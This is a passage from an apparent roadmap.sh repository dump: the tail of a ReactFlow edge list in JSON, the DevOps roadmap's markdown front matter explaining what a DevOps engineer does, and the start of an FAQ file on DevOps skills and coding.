\"reactflow__edge-jCWrnQNgjHKyhzd9dwOHzy2-w5d24Sf8GDkLDLGUPxzS9w1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7crPw2SKw-TlsSe9kpZFQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-w5d24Sf8GDkLDLGUPxzS9y2-7crPw2SKw-TlsSe9kpZFQz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2Wd9SlWGg6QtxgiUVLyZL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-w5d24Sf8GDkLDLGUPxzS9x2-2Wd9SlWGg6QtxgiUVLyZLw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Wd9SlWGg6QtxgiUVLyZL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9p_ufPj6QH9gHbWBQUmGw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2Wd9SlWGg6QtxgiUVLyZLz2-9p_ufPj6QH9gHbWBQUmGwy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JizyX8jse920gpWcmoSED\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1oYvpFG8LKT1JD6a_9J0m\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-JizyX8jse920gpWcmoSEDx2-1oYvpFG8LKT1JD6a_9J0mw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1oYvpFG8LKT1JD6a_9J0m\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XA__697KgofsH28coQ-ma\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1oYvpFG8LKT1JD6a_9J0mx2-XA__697KgofsH28coQ-maw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1oYvpFG8LKT1JD6a_9J0m\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"V9sOxlNOyRp0Mghl7zudv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-1oYvpFG8LKT1JD6a_9J0my2-V9sOxlNOyRp0Mghl7zudvz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"V9sOxlNOyRp0Mghl7zudv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kv508kxzUj_CjZRb-TeRv\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-V9sOxlNOyRp0Mghl7zudvy2-kv508kxzUj_CjZRb-TeRvz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"V9sOxlNOyRp0Mghl7zudv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yP1y8U3eblpzbaLiCGliU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-V9sOxlNOyRp0Mghl7zudvy2-yP1y8U3eblpzbaLiCGliUz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"V9sOxlNOyRp0Mghl7zudv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-V9sOxlNOyRp0Mghl7zudvy2-h9vVPOmdUSeEGVQQaSTH5z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aQJaouIaxIJChM-40M3HQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dUapFp3f0Rum-rf_Vk_b-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aQJaouIaxIJChM-40M3HQy2-dUapFp3f0Rum-rf_Vk_b-z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aQJaouIaxIJChM-40M3HQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1-JneOQeGhox-CKrdiquq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aQJaouIaxIJChM-40M3HQy2-1-JneOQeGhox-CKrdiquqz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aQJaouIaxIJChM-40M3HQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TsXFx1wWikVBVoFUUDAMx\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aQJaouIaxIJChM-40M3HQy2-TsXFx1wWikVBVoFUUDAMxz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aQJaouIaxIJChM-40M3HQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JnWVCS1HbAyfCJzGt-WOH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aQJaouIaxIJChM-40M3HQy2-JnWVCS1HbAyfCJzGt-WOHz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hcrPpjFxPi_iLiMdLKJrO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZWq23Q9ZNxLNti68oltxA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hcrPpjFxPi_iLiMdLKJrOz2-ZWq23Q9ZNxLNti68oltxAy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hcrPpjFxPi_iLiMdLKJrO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tZzvs80KzqT8aDvEyjack\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hcrPpjFxPi_iLiMdLKJrOz2-tZzvs80KzqT8aDvEyjacky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hcrPpjFxPi_iLiMdLKJrO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yQ4d2uiROZYr950cjYnQE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hcrPpjFxPi_iLiMdLKJrOz2-yQ4d2uiROZYr950cjYnQEy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hcrPpjFxPi_iLiMdLKJrO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qqRLeTpuoW64H9LvY0U_w\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hcrPpjFxPi_iLiMdLKJrOy2-qqRLeTpuoW64H9LvY0U_wz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qqRLeTpuoW64H9LvY0U_w\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gaoZjOYmU0J5aM6vtLNvN\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qqRLeTpuoW64H9LvY0U_wy2-gaoZjOYmU0J5aM6vtLNvNx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gaoZjOYmU0J5aM6vtLNvN\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"s_kss4FJ2KyZRdcKNHK2v\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gaoZjOYmU0J5aM6vtLNvNw2-s_kss4FJ2KyZRdcKNHK2vx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zuBAjrqQPjj-0DHGjCaqT\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"vsmE6EpCc2DFGk1YTbkHS\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zuBAjrqQPjj-0DHGjCaqTw2-vsmE6EpCc2DFGk1YTbkHSx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-INN1qTMLimrZgaSPCcHj\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"6gVV_JUgKgwJb4C8tHZn7\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--INN1qTMLimrZgaSPCcHjw2-6gVV_JUgKgwJb4C8tHZn7x1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zuBAjrqQPjj-0DHGjCaqT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-INN1qTMLimrZgaSPCcHj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zuBAjrqQPjj-0DHGjCaqTz2--INN1qTMLimrZgaSPCcHjy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-INN1qTMLimrZgaSPCcHj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--INN1qTMLimrZgaSPCcHjx2-EeWsihH9ehbFKebYoB5i9w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XsSnqW6k2IzvmrMmJeU6a\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EeWsihH9ehbFKebYoB5i9y2-XsSnqW6k2IzvmrMmJeU6az2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hhoSe4q1u850PgK62Ubau\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EeWsihH9ehbFKebYoB5i9y2-hhoSe4q1u850PgK62Ubauz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"epLLYArR16HlhAS4c33b4\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EeWsihH9ehbFKebYoB5i9y2-epLLYArR16HlhAS4c33b4z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-EeWsihH9ehbFKebYoB5i9x2-Qc0MGR5bMG9eeM5Zb9PMkz2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"OXOTm3nz6o44p50qd0brN\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-EeWsihH9ehbFKebYoB5i9y2-OXOTm3nz6o44p50qd0brNz2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMkx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JCe3fcOf-sokTJURyX1oI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMky2-JCe3fcOf-sokTJURyX1oIz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5FN7iva4DW_lv-r1tijd8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMky2-5FN7iva4DW_lv-r1tijd8z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1_NRXjckZ0F8EtEmgixqz\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMky2-1_NRXjckZ0F8EtEmgixqzz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8kby89epyullS9W7uKDrs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Qc0MGR5bMG9eeM5Zb9PMky2-8kby89epyullS9W7uKDrsz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Yq8kVoRf20aL_o4VZU5--\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wNguM6-YEznduz3MgBCYo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Yq8kVoRf20aL_o4VZU5--z2-wNguM6-YEznduz3MgBCYoy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wNguM6-YEznduz3MgBCYo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zuBAjrqQPjj-0DHGjCaqT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wNguM6-YEznduz3MgBCYoz2-zuBAjrqQPjj-0DHGjCaqTy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wNguM6-YEznduz3MgBCYo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8rd7T5ahK2I_zh5co-IF-\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wNguM6-YEznduz3MgBCYox2-8rd7T5ahK2I_zh5co-IF-w1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/devops/devops.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/devops.json'\npdfUrl: '/pdfs/roadmaps/devops.pdf'\norder: 3\nrenderer: 'editor'\nbriefTitle: 'DevOps'\nbriefDescription: 'Step by step guide for DevOps or operations role in 2025'\ntitle: 'DevOps Roadmap'\ndescription: 'Step by step guide for DevOps, SRE or any other Operations Role in 2025'\nhasTopics: true\nisForkable: false\npartner:\n  description: \"Get the latest DevOps news from our sister site\"\n  link: \"https://thenewstack.io/?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Alert\"\n  linkText: \"TheNewStack.io\"\nquestion:\n  title: 'What is DevOps?'\n  description: |\n    DevOps is a cultural and collaborative mindset that emphasizes communication, collaboration, integration, and [automation](https://roadmap.sh/devops/automation) between development and operations teams to achieve faster and more reliable software delivery.\n\n    DevOps is not a specific job title or role, but rather a set of principles and practices that can be applied across a variety of roles in software development and IT operations. Anyone involved in the software development and delivery process can adopt a DevOps mindset and apply DevOps practices in their work, including developers, testers, operations engineers, product managers, and others.\n\n    ## What is a DevOps Engineer?\n    While DevOps is not a specific job title or role, organizations often hire for a \"DevOps Engineer\" role. A DevOps Engineer is a software engineer who specializes in the [best practices](https://roadmap.sh/devops/best-practices) and [tools](https://roadmap.sh/devops/tools) that enable the continuous delivery of software.\n\n    DevOps Engineers (usually part of a bigger DevOps team) are responsible for bridging the gap between the development and operations teams,  they work closely with developers, testers, and operations staff to oversee the code releases and provide the tools required to automate and expedite the team’s time-to-market while maintaining the quality of the deliverables.\n\n    ## What Does a DevOps Engineer Do?\n    A DevOps Engineer plays a key role in simplifying the software development lifecycle by promoting collaboration between dev and ops teams. In other words, by implementing the DevOps approach.\n\n    In the end, these engineers are constantly trying to improve the speed, efficiency, and reliability of software delivery by automating tasks, adding continuous integration and deployment (CI/CD) to simplify code promotion activities, simplify infrastructure management, and least (but definitely not last) set up monitoring and alerting rules.\n\n    They work with developers to ensure that code is efficiently built, tested, and deployed, while also maintaining the underlying infrastructure to keep applications running smoothly. This often involves configuring cloud environments, implementing security best practices, optimizing deployment pipelines, and setting up observability tools to monitor performance.\n\n    Ultimately, a DevOps Engineer helps organizations build and maintain scalable, resilient systems while reducing manual processes and helping minimize downtime.\n\n    ## How do you become a DevOps Engineer?\n    To become a DevOps Engineer, you need to have technical skills in areas such as development, automation, containerization, cloud, CI/CD pipelines etc. While being an expert on all of them is hardly ever possible, what ends up happening is that different DevOps engineers specialize in different aspects of the DevOps culture. \n\n    A few example DevOps tools and technologies to learn may include programming languages like Python or JavaScript for scripting, AWS, Ansible for configuration management, Terraform for managing your infrastructure as code, Docker, Kubernetes, Jenkins, and Git for source control, and monitoring and logging tools. \n\n    Slowly start gaining experience by working on DevOps projects, developing a DevOps mindset, getting certified, and applying for DevOps Engineer positions by highlighting your skills and experience in your resume. \n\n    Start your [career path in DevOps engineering](https://roadmap.sh/devops/career-path) by working on some [DevOps projects](https://roadmap.sh/devops/projects).\ndimensions:\n  width: 968\n  height: 2850\nschema:\n  headline: 'DevOps Roadmap'\n  description: 'Learn to become a modern DevOps engineer by following the steps, skills, resources and guides listed in our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/devops.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-06-10'\nrelatedQuestions:\n  - 'backend'\nseo:\n  title: 'DevOps Roadmap: Learn to become a DevOps Engineer or SRE'\n  description: 'Learn to become a modern DevOps engineer by following the steps, skills, resources and guides listed in our community-driven roadmap.'\n  keywords:\n    - 'devops roadmap 2025'\n    - 'sre roadmap 2025'\n    - 'operations roadmap 2025'\n    - 'guide to becoming a devops engineer'\n    - 'devops roadmap'\n    - 'sre roadmap'\n    - 'site reliability engineer roadmap'\n    - 'operations roles'\n    - 'become devops'\n    - 'devops skills'\n    - 'modern devops skills'\n    - 'devops skills test'\n    - 'skills for devops'\n    - 'learn devops'\n    - 'what is devops'\n    - 'what is sre'\n    - 'devops quiz'\n    - 'devops interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'docker'\n  - 'kubernetes'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'javascript'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/devops/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../../components/FAQs/FAQs';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'What skills are required to become a DevOps Engineer?',\n    answer: [\n      'To become a DevOps Engineer, you need to have a combination of technical and soft skills. Technical skills include knowledge of programming languages, [automation tools](https://roadmap.sh/devops/automation-tools), containerization, cloud platforms, CI/CD pipelines, configuration management tools, and monitoring and logging tools.',\n      \"Soft skills include communication, collaboration, problem-solving, and adaptability. After all, you'll be dealing with multiple actors, both from the different dev teams you interact with and from ops teams looking to ensure smooth operations and robust performance.\",\n      'Gain experience by working on DevOps projects, develop a DevOps mindset, get certified, and apply for DevOps Engineer positions by highlighting your [DevOps skills](https://roadmap.sh/devops/skills) and experience in your resume.',\n    ],\n  },\n  {\n    question: 'Does a DevOps Engineer know how to code?',\n    answer: [\n      'A DevOps Engineer usually knows how to code, and not only that but they typically have great coding skills. After all, they use code on pretty much everything they do.',\n      \"Mind you, they may not always write application code like a software developer (that's not their job after all), however, they frequently script and automate tasks using languages like Python, Bash, Go, or Ruby.\",\n      'DevOps Engineers also write infrastructure-as-code (IaC) using tools like Terraform or CloudFormation, build CI/CD pipelines with scripting languages, and automate system configurations with Ansible, Chef, or Puppet. The list of [DevOps tools](https://roadmap.sh/devops/tools) available is quite extensive, and most of them require some sort of coding skills.',\n      \"And while it's not always the case, in some situations they might also need to understand and modify application code when troubleshooting deployments or optimizing performance (tasks that can also be done in conjunction with the dev team).\",\n      \"In short, coding is a big part of a DevOps Engineer's toolkit, but the focus is on automation, efficiency, and system reliability rather than pure application development.\",\n    ],\n  },\n  {\n    question: 'How are DevOps Engineers different from developers?',\n    answer: [\n      'DevOps Engineers and developers are different from each other, however, their roles complement themselves nicely in the context of software development. Developers focus on writing application code, implementing features, and optimizing performance, while DevOps Engineers ensure that the software runs smoothly in production by managing deployment pipelines, automating infrastructure, and maintaining system reliability.',\n      \"A key difference is that developers primarily work on building and improving applications, whereas DevOps Engineers handle the processes and tools that enable continuous integration, [automated testing](https://roadmap.sh/devops/test-automation), and efficient deployments. If you're curious about a more detailed comparison, [this guide on DevOps vs. Developers](https://roadmap.sh/devops/vs-developer) breaks it down further. Similarly, if you’re wondering [how DevOps compares to full-stack development, this 